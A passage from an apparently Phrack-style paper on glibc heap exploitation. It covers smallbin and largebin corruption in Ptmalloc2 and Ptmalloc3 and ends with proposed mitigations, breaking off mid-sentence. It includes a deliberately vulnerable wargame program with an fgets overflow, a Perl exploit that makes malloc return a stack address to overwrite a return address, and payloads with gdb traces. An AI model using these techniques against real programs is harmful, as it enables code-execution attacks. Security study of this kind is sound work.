break; case 5: delete_lastname(); break; case 6: delete_desc(); break; case 7: delete_agent(); break; case 0: main_menu(); default: break; } edit_agent(); } void edit_name(void) { if(agents[sel_ag]->name == NULL) { agents[sel_ag]->name = (char *) malloc(32); printf("\n[!!!]malloc(ed) name [ %p ]", agents[sel_ag]->name); } printf("\nWrite name for this agent: "); fgets(agents[sel_ag]->name, 322, stdin); } void delete_name(void) { if(agents[sel_ag]->name != NULL) { free(agents[sel_ag]->name); agents[sel_ag]->name = NULL; } } void edit_lastname(void) { if(agents[sel_ag]->lastname == NULL) { agents[sel_ag]->lastname = (char *) malloc(128); printf("\n[!!!]malloc(ed) lastname [ %p ]",agents[sel_ag]->lastname); } printf("\nWrite lastname for this agent: "); fgets(agents[sel_ag]->lastname, 127, stdin); } void delete_lastname(void) { if(agents[sel_ag]->lastname != NULL) { free(agents[sel_ag]->lastname); agents[sel_ag]->lastname = NULL; } } void edit_desc(void) { if(agents[sel_ag]->desc == NULL) { agents[sel_ag]->desc = (char *) malloc(256); printf("\n[!!!]malloc(ed) desc [ %p ]", agents[sel_ag]->desc); } printf("\nWrite description for this agent: "); fgets(agents[sel_ag]->desc, 255, stdin); } void delete_desc(void) { if(agents[sel_ag]->desc != NULL) { free(agents[sel_ag]->desc); agents[sel_ag]->desc = NULL; } } void delete_agent(void) { if (agents[sel_ag] != NULL) { free(agents[sel_ag]); agents[sel_ag] = NULL; printf("\n[+] Agent %d deleted\n", sel_ag); if (sel_ag == 0) { agent_count = 0; printf("\n[!] Empty list, please create new agents\n"); } else { sel_ag -= 1; agent_count -= 1; printf("[+] Current agent selection: %d\n", sel_ag); } } else { printf("\n[!] No agents to delete\n"); } } ---[ end agents.c ]--- This is the perfect program that I would present in a wargame to those who wish to apply the technique described in this paper. Someone might think that maybe this program is vulnerable to other techniques described in the Malloc Des-Maleficarum. Indeed given the ability of the user to manage the memory space, it may seem that The House of Mind can be applied here, but one must see that the program limits us to the creation of 256 structures of type "agent_t", and that the size of these structures is about 432 bytes (approximately when you allocate all its fields). If we multiply this number by 256 we get: (110592 = 0x1B000h) which seems too small to let us achieve the desirable address "0x08100000" necessary to corrupt the NON_MAIN_ARENA bit of an already allocated chunk above that address (and thus create a fake arena in order to trigger the attack aforementioned). Another technique that one would take as viable would be The House of Force since at first it is easy to corrupt the Wilderness (the Top Chunk), but remember that in order to apply this method one of the requirements is that the size of a call to malloc( ) must been defined by the designer with the main goal of corrupting "av->top". This seems impossible here. Other techniques are also unworkable for several reasons, each due to their intrinsic requirements. So we must study how to sort the steps that trigger the vulnerability and the attack process that we have studied so far. Let's see in detail: After a quick look, we found that the only vulnerable function is: void edit_name(void) { ... agents[sel_ag]->name = (char *) malloc(32); ... fgets(agents[sel_ag]->name, 322, stdin); At first it seems a simple typographical error, but it allows us to override the memory chunk that we allocated after "agents[]->name", which can be any, since the program allows practically a full control over memory. To imitate the maximum possible vulnerable process shown in the previous section, the most obvious thing we can do to start is to create a new agent (0) and edit all fields. With this we get: malloc(sizeof(agent_t)); // new agent malloc(32); // agents[0]->name malloc(128); // agents[0]->lastname malloc(256); // agents[0]->desc The main target is to overwrite the "bk" pointer in the field "agents[]->lastname" if we have freed this chunk previously. Moreover, between these two actions, we need to allocate a chunk of memory to be selected from the "TOP code", so that the chunks present in the unsorted bin are sorted in their corresponding bins for a later reuse. For this, what we do is create a new agent(1), select the first agent(0) and delete its field "lastname", select the second agent(1) and edit its description. This is equal to: malloc(sizeof(agent_t)); // Get a chunk from TOP code free(agents[0]->lastname); // Insert chunk at unsorted bin malloc(256); // Get a chunk from TOP code After this last call to malloc( ), the freed chunk of 128 bytes (lastname) will have been placed in its corresponding bin. Now we can alter "bk" pointer of this chunk, and for this we select again the first agent(0) and edit its name (here there will be no call to malloc( ) since it has been previously assigned). At this time, we can place a proper memory address pointing to the stack and make two calls to malloc(128), first editing the "lastname" field of the second agent(1) and then editing the "lastname" field of agent(0) one more time. These latest actions should return a memory pointer located in the stack in a position of your choice, and any written content on "agents[0]->lastname" could corrupt a saved return address. Without wishing to dwell too much more, we show here how a tiny-exploit alter the above pointer "bk" and returns a chunk of memory located in the stack: ---[ exthl.pl ]--- #!/usr/bin/perl print "1\n" . # Create agents[0] "4\n" . # Edit agents[0] "1\nblack\n" . # Edit name agents[0] "2\nngel\n" . # Edit lastname agents[0] "3\nsuperagent\n" . # Edit description agents[0] "0\n1\n" . # Create agents[1] "2\n0\n" . # Select agents[0] "4\n5\n" . # Delete lastname agents[0] "0\n2\n1\n" . # Select agents[1] "4\n" . # Edit agents[1] "3\nsupersuper\n" . # Edit description agents[1] "0\n2\n0\n" . # Select agents[0] "4\n" . # Edit agents[0] "1\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" . "\x94\xee\xff\xbf" . # Edit name[0] and overwrite "lastname->bk" "\n0\n2\n1\n" . # Select agents[1] "4\n" . # Edit agents[1] "2\nother\n" . # Edit lastname agents[1] "0\n2\n0\n" . # Select agents[0] "4\n" . # Edit agents[0] "2\nBBBBBBBBBBBBBBBBBBBBB" . "BBBBBBBBBBBBBBBBBBBBBBBBBBBB\n"; # Edit lastname agents[0] # and overwrite a {RET} ---[ end exthl.pl ]--- And here is the result, displaying only the outputs of interest for us: black@odisea:~/ptmalloc2$ ./exthl | ./agents ..... [PTMALLOC2] -> (Smallbin code reached) [PTMALLOC2] -> (victim = [ 0x8 ]) // Create new agents[0] Agent 0 created, now you can edit it ..... [PTMALLOC2] -> (Chunk from TOP) [!!!]malloc(ed) name [ 0x804f020 ] // Edit name agents[0] Write name for this agent: ..... [PTMALLOC2] -> (Chunk from TOP) [!!!]malloc(ed) lastname [ 0x804f048 ] // Edit lastname agents[0] Write lastname for this agent: ..... [PTMALLOC2] -> (Chunk from TOP) [!!!]malloc(ed) desc [ 0x804f0d0 ] // Edit description agents[0] Write description for this agent: ..... [PTMALLOC2] -> (Chunk from TOP) Agent 1 created, now you can edit it // Create new agents[1] ..... Write agent number: [+] Agent 0 selected. // Select agents[0] ..... [PTMALLOC2] -> (Freed and unsorted [ 0x804f040 ] chunk) // Delete lastname ..... Write agent number: [+] Agent 1 selected. // Select agents[1] ..... [PTMALLOC2] -> (Chunk from TOP) [!!!]malloc(ed) desc [ 0x804f1f0 ] // Edit description agents[1] Write description for this agent: ..... Write agent number: [+] Agent 0 selected. // Select agents[0] ..... Write name for this agent: // Edit name agents[0] Write agent number: [+] Agent 1 selected. // Select agents[1] ..... [PTMALLOC2] -> (Smallbin code reached) [PTMALLOC2] -> (victim = [ 0x804f048 ]) [PTMALLOC2] -> (victim->bk = [ 0xbfffee94 ]) [!!!]malloc(ed) lastname [ 0x804f048 ] Write lastname for this agent: // Edit lastname agents[1] ..... Write agent number: [+] Agent 0 selected. // Select agents[0] ..... [PTMALLOC2] -> (Smallbin code reached) [PTMALLOC2] -> (victim = [ 0xbfffee94 ]) [PTMALLOC2] -> (victim->bk = [ 0xbfffeec0 ]) [!!!]malloc(ed) lastname [ 0xbfffee9c ] // Edit lastname agents[0] Segmentation fault black@odisea:~/ptmalloc2$ Everyone can predict what happened in the end, but GDB can clarify for us a few things: ----- snip ----- [PTMALLOC2] -> (Smallbin code reached) [PTMALLOC2] -> (victim = [ 0xbfffee94 ]) [PTMALLOC2] -> (victim->bk = [ 0xbfffeec0 ]) [!!!]malloc(ed) lastname [ 0xbfffee9c ] Program received signal SIGSEGV, Segmentation fault. 0x080490f6 in edit_lastname () (gdb) x/i $eip 0x80490f6 : ret (gdb) x/8x $esp 0xbfffee9c: 0x42424242 0x42424242 0x42424242 0x42424242 0xbfffeeac: 0x42424242 0x42424242 0x42424242 0x42424242 (gdb) ----- snip ----- And you have moved to the next level of your favorite wargame, or at least you have increased your level of knowledge and skills. Now, I encourage you to compile this program with your regular glibc (not static Ptmalloc2), and verify that the result is exactly the same, it does not change the inside code. I don't know if anyone had noticed, but another of the techniques that in principle could be applied to this case is the forgotten The House of Prime. The requirement for implementing it is the manipulation of the header of two chunks that will be freed. This is possible since an overflow in agents[]->name can override both agents[]->lastname and agents[]->desc, and we can decide both when freeing them and in what order. However, The House of Prime needs also at least the possibility of placing an integer on the stack to overcome a last check and this is where it seems that we stay trapped. Also, remember that since glibc 2.3.6 one can no longer pass to free( ) a chunk smaller than 16 bytes whereas this is the first requirement inherent to this technique (alter the size field of the first piece overwritten 0x9h = 0x8h + PREV_INUSE bit). << It is common sense to take a method and try it; if it fails, admit it frankly and try another. But above all, try something. >> [ Franklin D. Roosevelt ] .------------------------------. ---[ 3 ---[ LargeBin Corruption Method ]--- .------------------------------. In order to apply the method recently explained to a largebin we need the same conditions, except that the size of the chunks allocated should be above 512 bytes as seen above. However, in this case the code triggered in "_int_malloc( )" is different and more complex. Extra requirements will be necessary in order to achieve a successful execution of arbitrary code. We will make some minor modifications to the vulnerable program presented in 2.2.1 and will see, through the practice, which of these preconditions must be met. Here is the code: ---[ thl-large.c ]--- #include #include #include void evil_func(void) { printf("\nThis is an evil function. You become a cool \ hacker if you are able to execute it\n"); } void func1(void) { char *lb1, *lb2; lb1 = (char *) malloc(1536); printf("\nLB1 -> [ %p ]", lb1); lb2 = malloc(1536); printf("\nLB2 -> [ %p ]", lb2); strcpy(lb1, "Which is your favourite hobby: "); printf("\n%s", lb1); fgets(lb2, 128, stdin); } int main(int argc, char *argv[]) { char *buff1, *buff2, *buff3; malloc(4096); buff1 = (char *) malloc(1024); printf("\nBuff1 -> [ %p ]", buff1); buff2 = (char *) malloc(2048); printf("\nBuff2 -> [ %p ]", buff2); buff3 = (char *) malloc(4096); printf("\nBuff3 -> [ %p ]\n", buff3); free(buff2); printf("\nBuff4 -> [ %p ]", malloc(4096)); strcpy(buff1, argv[1]); func1(); return 0; } ---[ end thl-large.c ]--- As you can see, we still need an extra reserve (buff4) after releasing the second allocated chunk. This is because it's not a good idea to have a corrupted "bk" pointer in a chunk that still is in the unsorted bin. When it happens, the program usually breaks sooner or later in the instructions: /* remove from unsorted list */ unsorted_chunks(av)->bk = bck; bck->fd = unsorted_chunks(av); But if we do not make anything wrong before the recently freed chunk is placed in its corresponding bin, then we pass without penalty or glory the next area code: while ( (victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) { ... } Having passed this code means that (buff2) has been introduced in its corresponding largebin. Therefore we will reach this code: ----- snip ----- if (!in_smallbin_range(nb)) { bin = bin_at(av, idx); for (victim = last(bin); victim != bin; victim = victim->bk) { size = chunksize(victim); if ((unsigned long)(size) >= (unsigned long)(nb)) { printf("\n[PTMALLOC2] No enter here please\n"); remainder_size = size - nb; unlink(victim, bck, fwd); ..... ----- snip ----- This does not look good. The unlink( ) macro is called, and we know the associated protection since the 2.3.6 version of Glibc. Going there would destroy all the work done until now. Here comes one of the first differences in the largebin corruption method. In 2.2.1 we said that after overwriting the "bk" pointer of the free( ) chunk, two calls to malloc( ) with the same size should be carried out to return a pointer *mem in an arbitrary memory address. In largebin corruption, we must avoid this code at all cost. For this, the two calls to malloc( ) must be less than buff2->size. Phantasmal told us "512 < M < N", and that is what we see in our vulnerable application: 512 < 1536 < 2048. As it has not previously been freed any chunk of this size (1536) or at least belonging to the same bin, "_int_malloc( )" tries to search a chunk that can fulfill the request from the next bin to the recently scanned: // Search for a chunk by scanning bins, starting with next largest bin. ++idx; bin = bin_at(av,idx); And here is where the magic comes, the following piece of code will be executed: ----- snip ----- victim = last(bin); ..... else { size = chunksize(victim); remainder_size = size - nb; printf("\n[PTMALLOC2] -> (Largebin code reached)"); printf("\n[PTMALLOC2] -> remander_size = size (%d) - nb (%d) = %u", size, nb, remainder_size); printf("\n[PTMALLOC2] -> (victim = [ %p ])", victim); printf("\n[PTMALLOC2] -> (victim->bk = [ %p ])\n", victim->bk); /* unlink */ bck = victim->bk; bin->bk = bck; bck->fd = bin; /* Exhaust */ if (remainder_size < MINSIZE) { printf("\n[PTMALLOC2] -> Exhaust code!! You win!\n"); ..... return chunk2mem(victim); } /* Split */ else { ..... set_foot(remainder, remainder_size); check_malloced_chunk(av, victim, nb); return chunk2mem(victim); } } ----- snip ----- The code has been properly trimmed to show only the parts that have relevance in the method we are describing. Calls to printf( ) are of my own and you will soon see its usefulness. Also it's easy to see that the process is practically the same as in the smallbin code. You take the last chunk of the respective largebin (last(bin)) in "victim" and proceed to unlink it (without macro) before reaching the user control. Since we control "victim->bk", at first the attack requirements are the same, but then, where is the difference? Calling set_foot( ) tends to produce a segmentation fault since that "remainder_size" is calculated from "victim->size", value that until now we were filling out with random data. The result is something like the following: (gdb) run `perl -e 'print "A" x 1036 . "\x44\xf0\xff\xbf"'` [PTMALLOC2] -> (Chunk from TOP) Buff1 -> [ 0x8050010 ] [PTMALLOC2] -> (Chunk from TOP) Buff2 -> [ 0x8050418 ] [PTMALLOC2] -> (Chunk from TOP) Buff3 -> [ 0x8050c20 ] [PTMALLOC2] -> (Freed and unsorted [ 0x8050410 ] chunk) [PTMALLOC2] -> (Chunk from TOP) Buff4 -> [ 0x8051c28 ] [PTMALLOC2] -> (Largebin code reached) [PTMALLOC2] -> remander_size = size (1094795584) - nb (1544) = 1094794040 [PTMALLOC2] -> (victim = [ 0x8050410 ]) [PTMALLOC2] -> (victim->bk = [ 0xbffff044 ]) Program received signal SIGSEGV, Segmentation fault. 0x0804a072 in _int_malloc (av=0x804e0c0, bytes=1536) at malloc.c:4144 4144 set_foot(remainder, remainder_size); (gdb) The solution is then enforce the conditional: if (remainder_size < MinSize) { ... }. Anyone might think of overwriting "victim->size" with a value like "0xfcfcfcfc" which would generate as a result a negative number smaller than MINSIZE, but we must remember that "remainder_size" is defined as an "unsigned long" and therefore the result will always be a positive value. The only possibility that remains then is that the vulnerable application allows us to insert null bytes in the attack string, and therefore to supply a value as (0x00000610 = 1552) that would generate: 1552 - 1544 (align) = 8 and the condition would be fulfilled. Let us see in action: (gdb) set *(0x08050410+4)=0x00000610 (gdb) c Continuing. Buff4 -> [ 0x8051c28 ] [PTMALLOC2] -> (Largebin code reached) [PTMALLOC2] -> remander_size = size (1552) - nb (1544) = 8 [PTMALLOC2] -> (victim = [ 0x8050410 ]) [PTMALLOC2] -> (victim->bk = [ 0xbffff044 ]) [PTMALLOC2] -> Exhaust code!! You win! LB1 -> [ 0x8050418 ] [PTMALLOC2] -> (Largebin code reached) [PTMALLOC2] -> remander_size = size (-1073744384) - nb (1544) = 3221221368 [PTMALLOC2] -> (victim = [ 0xbffff044 ]) [PTMALLOC2] -> (victim->bk = [ 0xbffff651 ]) Program received signal SIGSEGV, Segmentation fault. 0x0804a072 in _int_malloc (av=0x804e0c0, bytes=1536) at malloc.c:4144 4144 set_foot(remainder, remainder_size); Perfect, we reached the second memory request where we saw that victim is equal to 0xbffff044 which being returned would provide a chunk whose *mem pointes to the stack. However set_foot( ) again gives us problems, and this is obviously because we are not controlling the "size" field of this fake chunk created on the stack. This is where we have to overcome the latter condition. Victim should point to a memory location containing user-controlled data, so that we can enter an appropriate "size" value and conclude the technique. We end this section by saying that the largebin corruption method is not just pure fantasy as we've made it a reality. However it is true that finding the required preconditions of attack in real-life applications is almost impossible. As a curious note, one might try to overwrite "victim->size" with 0xffffffff (-1) and check that on this occasion set_foot( ) seems to follow its course without breaking the program. Note: Again we have not tested all versions of glibc, but we noted the following fixes in advanced versions: ----- snip ----- else { size = chunksize(victim); /* We know the first chunk in this bin is big enough to use. */ assert((unsigned long)(size) >= (unsigned long)(nb)); <-- !!!!!!! remainder_size = size - nb; /* unlink */ unlink(victim, bck, fwd); /* Exhaust */ if (remainder_size < MINSIZE) { set_inuse_bit_at_offset(victim, size); if (av != &main_arena) victim->size |= NON_MAIN_ARENA; } /* Split */ else { ----- snip ----- What this means is that the unlink( ) macro has been newly introduced into the code, and thus the classic pointer testing mitigate the attack. << Insanity is doing the same thing over and over again, and expecting different results. >> [ Albert Einstein ] .-------------------------. ---[ 4 ---[ Analysis of Ptmalloc3 ]--- .-------------------------. Delving into the internals of Ptmalloc3, without warm up, may seem violent, but with a little help it's only a child's game. In order to understand correctly the next sections, I present here the most notable differences in the code with respect to Ptmalloc2. The basic operation remains the same, in the end it's another common memory allocator, and is also based on a version of Doug Lea allocator but adapted to work on multiple threads. For example, here is the chunk definition: struct malloc_chunk { size_t prev_foot; /* Size of previous chunk (if free). */ size_t head; /* Size and inuse bits. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; }; As we see, the names of our well known "prev_size" and "size" fields have been changed, but the meaning remains the same. Furthermore we knew three usual bit control to which they added an extra one called "CINUSE_BIT" which tells (in a redundant way) that the current chunk is assigned, as opposed to that PINUSE_BIT that continues to report the allocation of the previous chunk. Both bits have their corresponding checking and assign macros. The known "malloc_state" structure now stores the bins into two different arrays for different uses: mchunkptr smallbins[(NSMALLBINS+1)*2]; tbinptr treebins[NTREEBINS]; The first of them stores free chunks of memory below 256 bytes. Treebins[] is responsible for long pieces and uses a special tree organization. Both arrays are important in the respective techniques that will be discussed in the following sections, providing there more details about its management and corruption. Some of the areas of greatest interest in "malloc_state" are: char* least_addr; mchunkptr dv; size_t magic; * "least_addr" is used in certain macros to check if the address of a given P chunk is within a reliable range. * "dv", or Designated Victim is a piece that can be used quickly to serve a small request, and to gain efficiency is typically, by general rule, the last remaining piece of another small request. This is a value that is used frequently in the smallbin code, and we will see it in the next section. * "Magic" is a value that should always be equal to malloc_params.magic and in principle is obtained through the device "/dev/urandom". This value can be XORed with mstate and written into p->prev_foot for later to retrieve the mstate structure of that piece by applying another XOR operation with the same value. If "/dev/urandom" can not be used, magic is calculated from the time(0) syscall and "0x55555555U" value with other checkups, and if the constant INSECURE was defined at compile time magic then directly take the constant value: "0x58585858U". For security purposes, some of the most important macros are following: #define ok_address(M, a) ((char*)(a) >= (M)->least_addr) #define ok_next(p, n) ((char*)(p) < (char*)(n)) #define ok_cinuse(p) cinuse(p) #define ok_pinuse(p) pinuse(p) #define ok_magic(M) ((M)->magic == mparams.magic) which could always return true if the constant INSECURE is defined at compile time (which is not the case by default). The last macro that you could be observe frequently is "RTCHECK(e)" which is nothing more than a wrapper for "__builtin_expect(e, 1)", which in time is more familiar from previous studies on malloc. As we said, "malloc_params" contains some of the properties that can be established through "mallopt(int param, int value)" at runtime, and additionally we have the structure "mallinfo" that maintains the global state of the allocation system with information such as the amount of already allocated space, the amount of free space, the number of total free chunks, etc... Talking about the management of Mutex and treatment of Threads in Ptmalloc3 is something beyond the scope of this article (and would probably require to write an entire book), so we will not discuss this issue and will rather go forward. In the next section we see that every precaution that have been taken are not sufficient to mitigate the attack presented here. << Software is like entropy: It is difficult to grasp, weighs nothing, and obeys the Second Law of Thermodynamics: i.e., it always increases. >> [ Norman Augustine ] .---------------------------------. ---[ 4.1 ---[ SmallBin Corruption (Reverse) ]--- .---------------------------------. In an attempt to determine whether THoL could be viable in this last version of Wolfram Gloger. This version have a lot security mechanisms and integrity checks against heap overflows, fortunately I discovered a variant of our smallbin corruption method, this variant could be applied. To begin, we compile Ptmalloc3 and link the library statically with the vulnerable application presented in 2.2.1. After using the same method to exploit that application (by adjusting the evil_func( ) address of course, which would be our dummy shellcode), we obtain a segment violation at malloc.c, particularly in the last instruction of this piece of code: ----- snip ----- void* mspace_malloc(mspace msp, size_t bytes) { ..... if (!PREACTION(ms)) { ..... if (bytes <= MAX_SMALL_REQUEST) { ..... if ((smallbits & 0x3U) != 0) { ..... b = smallbin_at(ms, idx); p = b->fd; unlink_first_small_chunk(ms, b, p, idx); ----- snip ----- Ptmalloc3 can use both dlmalloc( ) and mspace_malloc( ) depending on whether the constant "ONLY_MSPACES" has been defined at compile-time (this is the default option -DONLY_MSPACES). This is irrelevant for the purposes of this explanation since the code is practically the same for both functions. The application breaks when, after having overwritten the "bk" pointer of buff2, one requests a new buffer with the same size. Why does it happen? As you can see, Ptmallc3 acts in an opposite way of Ptmalloc2. Ptmalloc2 attempts to satisfy the memory request with the last piece in the bin, however, Ptmalloc3 intends to cover the request with the first piece of the bin: "p = b->fd". mspace_malloc () attempts to unlink this piece of the corresponding bin to serve the user request, but something bad happens inside the "unlink_first_small_chunk( )" macro, and the program segfaults. Reviewing the code, we are interested by a few lines: ----- snip ----- #define unlink_first_small_chunk(M, B, P, I) {\ mchunkptr F = P->fd;\ [1] ..... if (B == F)\ clear_smallmap(M, I);\ else if (RTCHECK(ok_address(M, F))) {\ [2] B->fd = F;\ [3] F->bk = B;\ [4] }\ else {\ CORRUPTION_ERROR_ACTION(M);\ }\ } ----- snip ----- Here, P is our overwritten chunk, and B is the bin belonging to that piece. In [1], F takes the value of the "fd" pointer that we control (at the same time that we overwrote the "bk" pointer in buff2). If [2] is overcome, which is a security macro we've seen in the previous section: #define ok_address(M, a) ((char*)(a) >= (M)->least_addr) where the least_addr field is "the least address ever obtained from MORECORE or MMAP"... then anything of higher value will pass this test. We arrive to the classic steps of unlink, in [3] the "fd" pointer of the bin points to our manipulated address. In [4] is where a segmentation violation occurs, as it tries to write to (0x41414141)->bk the address of the bin. As it falls outside the allocated address space, the fun ends. For the smallbin corruption technique over Ptmalloc3 it is necessary to properly overwrite the "fd" pointer of a freed buffer with a random address. After, it is necessary to try making a future call to malloc( ), with the same size, that returns the random address as the allocated space. The precautions are the same as in 2.2.1, F->bk must contain a writable address, otherwise it will cause an access violation in [4]. If we accomplish all this conditions, the first chunk of the bin will be unlinked and the following piece of code will be triggered. ----- snip ----- mem = chunk2mem(p); check_malloced_chunk(gm, mem, nb); goto postaction; ..... postaction: POSTACTION(gm); return mem; ----- snip ----- I added the occasional printf( ) sentence into mspace_malloc( ) and the unlink_first_small_chunk( ) macro to see what happened, and the result was as follow: Starting program: /home/black/ptmalloc3/thl `perl -e 'print "A"x24 . "\x28\xf3\xff\xbf"'` < evil.in [mspace_malloc()]: 16 bytes <= 244 Buff1 -> [ 0xb7feefe8 ] [mspace_malloc()]: 128 bytes <= 244 Buff2 -> [ 0xb7fef000 ] Buff3 -> [ 0xb7fef088 ] Buff4 -> [ 0xb7fef190 ] [mspace_malloc()]: 128 bytes <= 244 [unlink_first_small_chunk()]: P->fd = 0xbffff328 LB1 -> [ 0xb7fef000 ] [mspace_malloc()]: 128 bytes <= 244 [unlink_first_small_chunk()]: P->fd = 0xbffff378 LB2 -> [ 0xbffff330 ] Which is your favourite hobby: This is an evil function. You become a cool hacker if you are able to execute it "244" is the present value of MAX_SMALL_REQUEST, which as we can see, is another difference from Ptmalloc2, which defined a smallbin whenever requested size was less than 512. In this case the range is a little more limited. << From a programmer's point of view, the user is a peripheral that types when you issue a read request. >> [ P. Williams ] .----------------------------------------. ---[ 4.2 ---[ LargeBin Method (TreeBin Corruption) ]--- .----------------------------------------. At this point of the article, we have understood the basic concepts correctly. One could now continue to study on his own the Ptmalloc3 internals. In Ptmalloc3, large chunks (ie larger than 256 bytes), are stored in a tree structure where each chunk has a pointer to its father, and retains two pointers to its children (left and right) if having any. The code that defines this structure is the following: ----- snip ----- struct malloc_tree_chunk { /* The first four fields must be compatible with malloc_chunk */ size_t prev_foot; size_t head; struct malloc_tree_chunk* fd; struct malloc_tree_chunk* bk; struct malloc_tree_chunk* child[2]; struct malloc_tree_chunk* parent; bindex_t index; }; ----- snip ----- When a memory request for a long buffer is made, the "if (bytes <= MAX_SMALL_REQUEST) {}" sentence fails, and the executed code, if nothing strange happens, is as follow: ----- snip ----- else { nb = pad_request(bytes); if (ms->treemap != 0 && (mem = tmalloc_large(ms, nb)) != 0) { check_malloced_chunk(ms, mem, nb); goto postaction; } } ----- snip ----- Into tmalloc_large( ), we aim to achieve this code: ----- snip ----- if (v != 0 && rsize < (size_t)(m->dvsize - nb)) { if (RTCHECK(ok_address(m, v))) { /* split */ ..... if (RTCHECK(ok_next(v, r))) { unlink_large_chunk(m, v); if (rsize < MIN_CHUNK_SIZE) set_inuse_and_pinuse(m, v, (rsize + nb)); else { set_size_and_pinuse_of_inuse_chunk(m, v, nb); set_size_and_pinuse_of_free_chunk(r, rsize); insert_chunk(m, r, rsize); } return chunk2mem(v); ..... ----- snip ----- If we tried to exploit this program in the same way as for Ptmalloc2, the application would break first in the "unlink_large_chunk( )" macro, which is very similar to "unlink_first_small_chunk( )". The most important lines of this macro are these: F = X->fd;\ [1] R = X->bk;\ [2] F->bk = R;\ [3] R->fd = F;\ [4] Thus we now know that both the "fd" and "bk" pointers of the overwritten chunk must be pointing to writable memory addresses, otherwise this could lead to an invalid memory access. The next error will come in: "set_size_and_pinuse_of_free_chunk(r, rsize)", which tells us that the "size" field of the overwritten chunk must be user-controlled. And so again, we need the vulnerable application to allow us introducing NULL bytes. If we can accomplish this, the first call to "malloc(1536)" of the application shown in section 3 will be executed correctly, and the issue will come with the second call. Specifically within the loop: ----- snip ----- while (t != 0) { /* find smallest of tree or subtree */ size_t trem = chunksize(t) - nb; if (trem < rsize) { rsize = trem; v = t; } t = leftmost_child(t); } ----- snip ----- When you first enter this loop, "t" is being equal to the address of the first chunk in the tree_bin[] corresponding to the size of the buffer requested. The loop will continue while "t" has still some son and, finally "v" (victim) will contain the smallest piece that can satisfy the request. The trick for saving our problem is to exit the loop after the first iteration. For this, we must make "leftmost_child(t)" returning a "0" value. Knowing the definition: #define leftmost_child(t) ((t)->child[0] != 0? (t)->child[0]:(t)->child[1]) The only way is to place (buff2->bk) in an address of the stack. It is necessary the pointers child[0] and child[1] with a "0" value, which means no more children. Then "t" (and therefore "v") will be provided while the "size" field not fails the if( ) sentence. << Before software should be reusable, it should be usable. >> [ Ralph Johnson ] .-----------------------------. ---[ 4.3 ---[ Implement Security Checks ]--- .-----------------------------. Ptmalloc3 could be safer than it seems at first, but for this, you should have defined the FOOTERS constant at compile time (which is not the default case). We saw the "magic" parameter at the beginning of section 4, which is present in all malloc_state structures and the way in which it is calculated. The reason why "prev_size" now is named as "prev_foot" if that if FOOTERS is defined, then this field is used to store the result of a XOR operation between the mstate belonging to the chunk and the magic value recently calculated. This is done with: /* Set foot of inuse chunk to be xor of mstate and seed */ #define mark_inuse_foot(M,p,s)\ (((mchunkptr)((char*)(p)+(s)))->prev_foot = ((size_t)(M) ^ mparams.magic)) XOR, as always, remains being a symmetric encryption that allows, at the same time, saving the malloc_state address and establishing a kind of cookie to prevent a possible attack whenever altered. This mstate is obtained with the following macro: #define get_mstate_for(p)\ ((mstate)(((mchunkptr)((char*)(p) +\ (chunksize(p))))->prev_foot ^ mparams.magic)) For example, at the beginning of the "mspaces_free( )" function which is called by the wrapper free( ), is started in this way: #if FOOTERS mstate fm = get_mstate_for(p); #else /* FOOTERS */ mstate fm = (mstate)msp; #endif /* FOOTERS */ if (!ok_magic(fm)) { USAGE_ERROR_ACTION(fm, p); return; } If we corrupt the header of an allocated chunk (and therefore the prev_foot field). When the chunk was freed, get_mstate_for( ) will return an erroneous arena. At this moment ok_magic( ) will test the "magic" value of that area and it will abort the application. Moreover, one must be aware that the current flow could be broken even before the USAGE_ERROR_ACTION( ) call if the reading of fm->magic causes a segmentation fault due to wrong value obtained by get_mstate_for( ). How to deal with this cookie and the probability analysis in order to predict its value at runtime is an old issue, and we will not talk more here about it. Though one could remember the PaX case, perhaps an overwritten pointer can point beyond the "size" field of a chunk, and through a future STRxxx( ) or MEMxxx( ) call, crush their data without have altered "prev_foot". Skape made an excellent job in his "Reducing the effective entropy of gs cookies" [4] for the Windows platform. It could give you some fantastic ideas to apply. Who knows, it all depends on the vulnerability and inherent requirements of the tested application. What is the advantage of THoL according to this protection? It is very clear, the target chunk is corrupted after its release, and therefore the integrity checks are passed. Anyway, there should be ways to mitigate these kinds of problems, to start, if we all know that no memory allocation should proceed belonging to a stack location, one could implement something as simple as this: #define STACK_ADDR 0xbff00000 #define ok_address(M, a) (((char*)(a) >= (M)->least_addr)\ && ((a) <= STACK_ADDR)) and the application is aborted before getting a successful exploitation. Also a check as ((a) >> 20) == 0xbff) should be effective. It is only an example, the relative stack position could be very different in your system, it is a very restrictive protection. Anyone who read the source code base has probably noticed that Ptmalloc3's unlink...( ) macros omit the classic tests that implanted in glibc to check the double linked list. We do not consider this because we know that a real implementation would take it into account and should add this integrity check. However, I can not perform a more detailed stud until someone decides in a future that glibc will be based on Ptmalloc3. The conclusion of this overview is that some of the techniques detailed in the Maleficarum & Des-Maleficarum papers are not reliable in Ptmalloc3. One of them, for example, is The House of Force. Remember that it needs both to overwrite the "size" field of the wilderness chunk and a request with a user-defined size. This was possible partly in Ptmalloc2 because the size of the top chunk was read in this way: victim = av->top; size = chunksize(victim); Unfortunately, now Ptmalloc3 saves this value in the "malloc_state" and reads it directly with this: size_t rsize = (g)m->topsize // gm for dlmalloc( ), m for // mspace_malloc( ) In any case, it is worth recalling one of the comments present at the beginning of "malloc.c": "This is only one aspect of security -- these checks do not, and cannot, detect all possible programming errors". << Programming without an overall architecture or design in mind is like exploring a cave with only a flashlight: You don't know where you've been, you don't know where you're going, and you don't know quite where you are. >> [ Danny Thorpe ] .-----------------------------------. ---[ 4.3.1 ---[ Secure Heap Allocator (Utopian) ]--- .-----------------------------------. First, there is no way to create a "heap allocator" totally secure, it's impossible (note: you can design the most secure allocator in the world but if it's too slow => it's no use). To begin with, and the main rule (which is fairly obvious), implies that the control structures or more simply, headers, can not be located being adjacent to the data. Create a macro that adds 8 bytes to the address of a header for direct access to data is very simple, but has never been a safe option. However, although this problem will be solved, still others thought to corrupt the data of another allocated chunk is not useful if it not allows arbitrary code execution, but and if these buffers contain data whose integrity has to be guaranteed (financial information, others...)? Then we came to the point in which it is essential the use cookies between the fragments of memory assigned. It obviously has side effects. The most efficient would be that this cookie (say 4 bytes) will be the last 4 bytes of each allocated chunk, with the target of preserve the alignment, since that put them between two chunks required a more complicated and possibly slower management. Besides this, we could also take ideas from "Electric Fence - Red-Zone memory 